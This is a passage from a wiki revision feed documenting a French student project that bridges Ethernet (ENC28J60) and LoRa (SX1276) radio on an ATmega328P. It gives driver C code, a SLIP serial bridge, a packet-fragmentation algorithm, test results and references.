&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa afin de réaliser la réussite de la transmission et la réception des paquets Ethernet. Cependant, nous avons rencontré deux problèmes principaux&lt;br /&gt;
* Le choix de CS d'Arduino&lt;br /&gt;
* La correspondance de la taille du paquet&lt;br /&gt;
1). Pour le premier problème, des fonctions de SPI sont déjà définies par les fonctions dans la librairie de l'enc28j60, au lieu d'utiliser des fonctions définies nous avons appelé directement la fonction '''spi_init()''' dans le répertoire SPI du LoRa. Ensuite nous avons changé le pin de CS de l'enc28j60 pour que les deux cartes puissent travailler une après l'autre.  &lt;br /&gt;
&lt;br /&gt;
2). Lorsque la longueur d'un paquet Ethernet peut atteindre 1500 octets mais la longueur maximal d'un paquet d'être enregistré dans le buffer du LoRa ne fait que 255 octets, donc nous avions le problème de correspondance de la taille du paquet. Pour résoudre ce problème nous avons fait la fragmentation. Nous avons créé un tableau de 64 octets, ensuite nous avons remplit ce tableau octet par octet. Le dernier octet est réservé pour dire le numéro du fragment et vérifier si c'est la fin du paquet.Quant à la réception, le récepteur doit recevoir des fragments en ordre. Une fois qu'il loupe un fragment, le récepteur va s'arrêter de capter des paquets et attend l'arrivée de nouveau paquet .&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:fragment.jpg|thumb|upright=2|Fragments du paquet]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Après bien avoir étudié des caratères de module LoRa SX1276 et la carte Ethernet réseau ENC28J60, pour leur faire communiquer nous avons écrit un algorithme &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Boucle&lt;br /&gt;
    Si pas de paquet Ethernet en stock Alors&lt;br /&gt;
      tenter de lire un paquet Ethernet pour le mettre en stock&lt;br /&gt;
    FSi&lt;br /&gt;
    Si pas de réception en cours Alors&lt;br /&gt;
      Si paquet Ethernet en stock Alors&lt;br /&gt;
        envoyer un fragment LoRA&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          libérer la mémoire du paquet Ethernet&lt;br /&gt;
          attendre un paquet LoRa un temps raisonnable&lt;br /&gt;
        Fsi&lt;br /&gt;
      Sinon&lt;br /&gt;
        Si un paquet Ethernet vient d'être reçu par LoRa Alors&lt;br /&gt;
          envoyer un paquet LoRa de taille 1&lt;br /&gt;
      FSi&lt;br /&gt;
    Fsi&lt;br /&gt;
    Si pas d'envoi en cours et paquet LoRa reçu Alors&lt;br /&gt;
      Si paquet est un fragment (taille &amp;gt; 1) Alors&lt;br /&gt;
        stocker le fragment dans le tampon d'envoi Ethernet&lt;br /&gt;
        Si dernier fragment Alors&lt;br /&gt;
          envoyer le paquet sur Ethernet&lt;br /&gt;
        FSi&lt;br /&gt;
      FSi&lt;br /&gt;
    FSi&lt;br /&gt;
  FinBoucle&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
En suite nous avons interprété cet algorithme en langage C&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
while(1)&lt;br /&gt;
        {&lt;br /&gt;
                if(nb_ethernet==0)&lt;br /&gt;
                {&lt;br /&gt;
                        nb_ethernet = enc28j60PacketReceive();&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0 &amp;amp;&amp;amp; nb_ethernet&amp;lt;=MAX_ETHERNET)&lt;br /&gt;
                        {&lt;br /&gt;
                                index_ethernet = 0;&lt;br /&gt;
                                num_frag = 0;&lt;br /&gt;
                                output_set(5,1);&lt;br /&gt;
                        }&lt;br /&gt;
                        else nb_ethernet=0;&lt;br /&gt;
                }&lt;br /&gt;
#ifdef VERBOSE&lt;br /&gt;
                printf(&amp;quot;num=%d nb_ethernet=%d\n&amp;quot;,num,nb_ethernet);&lt;br /&gt;
                _delay_ms(100);&lt;br /&gt;
#endif&lt;br /&gt;
                if(num&amp;lt;0)&lt;br /&gt;
                {&lt;br /&gt;
                        if(nb_ethernet&amp;gt;0)&lt;br /&gt;
                        {&lt;br /&gt;
                                int i;&lt;br /&gt;
                                num=-1; rxmode=0;&lt;br /&gt;
                                if(index_ethernet &amp;lt; nb_ethernet)&lt;br /&gt;
                                {&lt;br /&gt;
                                        for(i=0;(i&amp;lt;MAX_FRAGMENT) &amp;amp;&amp;amp; (index_ethernet&amp;lt;nb_ethernet);i++)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                unsigned char c = enc28j60ByteRead();&lt;br /&gt;
                                                index_ethernet++;&lt;br /&gt;
                                                packet_lora[i]=c;&lt;br /&gt;
                                        }&lt;br /&gt;
                                        if(index_ethernet &amp;lt; nb_ethernet) packet_lora[i]=0x00;&lt;br /&gt;
                                        else packet_lora[i]=0x80;&lt;br /&gt;
                                        packet_lora[i] |= num_frag++;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;ether=%d/%d num_frag=%02x taille=%d\n&amp;quot;,index_ethernet,nb_ethernet,packet_lora[i],i+1);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        output_set(4,1);&lt;br /&gt;
                                        sx1276_LoRaTxPacket(packet_lora,i+1);           //transmission from LoraServer&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        output_set(4,0);&lt;br /&gt;
                                        if(index_ethernet &amp;gt;= nb_ethernet)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                nb_ethernet = 0;&lt;br /&gt;
                                                enc28j60FreeMemory();&lt;br /&gt;
                                                output_set(5,0);&lt;br /&gt;
                                                /* Attendre un paquet LoRa un temps raisonnable */&lt;br /&gt;
                                                unsigned char test=0;&lt;br /&gt;
                                                sx1276_LoRaEntryRx();&lt;br /&gt;
                                                rxmode=1;&lt;br /&gt;
                                                for(i=0;i&amp;lt;MAX_WAIT/GRAIN_WAIT;i++){&lt;br /&gt;
                                                        test=sx1276_LoRaRxTest();&lt;br /&gt;
                                                        if(test) break;&lt;br /&gt;
                                                        _delay_ms(GRAIN_WAIT);&lt;br /&gt;
                                                        }&lt;br /&gt;
                                                if(test){&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                        printf(&amp;quot;Got answer!\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                                        }&lt;br /&gt;
                                        }&lt;br /&gt;
                                        else _delay_ms(10);&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                        else{&lt;br /&gt;
                                if(num==-2){&lt;br /&gt;
                                        unsigned char c=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;Send void packet\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        sx1276_LoRaTxPacket(&amp;amp;c,1);&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        num=-1;&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                }&lt;br /&gt;
                if(index_ethernet&amp;lt;=0 || nb_ethernet==0){&lt;br /&gt;
                        if(!rxmode) sx1276_LoRaEntryRx();&lt;br /&gt;
                        rxmode=1;&lt;br /&gt;
                        }&lt;br /&gt;
                if(rxmode &amp;amp;&amp;amp; (nb_received=sx1276_LoRaRxPacket(packet_received,MAX_FRAGMENT+1))&amp;gt;0)       //receptionfrom LoraClient&lt;br /&gt;
                {&lt;br /&gt;
                        unsigned char header=packet_received[nb_received-1];&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;rec=%d h=%02x\n&amp;quot;,nb_received,header);&lt;br /&gt;
#endif&lt;br /&gt;
                        if (nb_received&amp;gt;1)&lt;br /&gt;
                        {&lt;br /&gt;
                                int j;&lt;br /&gt;
                                if(num&amp;gt;=0 &amp;amp;&amp;amp; (header&amp;amp;0x7f)!=num+1) num=-1;&lt;br /&gt;
                                else{&lt;br /&gt;
                                        if(num&amp;lt;0) num=-1;&lt;br /&gt;
                                        if((header&amp;amp;0x7f)==0x00)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                enc28j60InitializeSend();&lt;br /&gt;
                                                output_set(6,1);&lt;br /&gt;
                                        }&lt;br /&gt;
                                        for(j=0;j&amp;lt;nb_received-1;j++) enc28j60WriteByteSend(packet_received[j]);&lt;br /&gt;
                                        if((header&amp;amp;0x80)==0x00) num++;&lt;br /&gt;
                                        else {&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                printf(&amp;quot;Ether sending num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                                                num=-2;&lt;br /&gt;
                                                enc28j60FinalizeSend();&lt;br /&gt;
                                                output_set(6,0);&lt;br /&gt;
                                                }&lt;br /&gt;
                                        }&lt;br /&gt;
                        }&lt;br /&gt;
                        rxmode=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons effectué des tests avec un module LoRa et une carte réseau chaque coté, nous avons réussit à envoyer des paquets icmp et des paquets arp.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:0001.jpg|thumb|upright=0.75|manipulation]]&lt;br /&gt;
|[[Fichier:0002.jpg|thumb|upright=0.75|tcpdump+ping]]&lt;br /&gt;
|[[Fichier:0003.jpg|thumb|upright=0.75|tcpdump]]&lt;br /&gt;
|[[Fichier:0004.jpg|thumb|upright=0.75|minicom]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
Rapport intermédiaire&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;br /&gt;
&lt;br /&gt;
Rapport final&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_PFE19_CHEN_NDUWAYO.pdf]]&lt;br /&gt;
&lt;br /&gt;
=Programme du projet=&lt;br /&gt;
[[Fichier:Bridge.zip]]&lt;br /&gt;
&lt;br /&gt;
=Vidéo demonstration du projet=&lt;br /&gt;
[[Media:VideoDemoPFE19.mp4]]&lt;br /&gt;
&lt;br /&gt;
[[Media:test.mp4]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39601</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39601"/>
				<updated>2017-02-26T08:28:11Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Vidéo demonstration du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
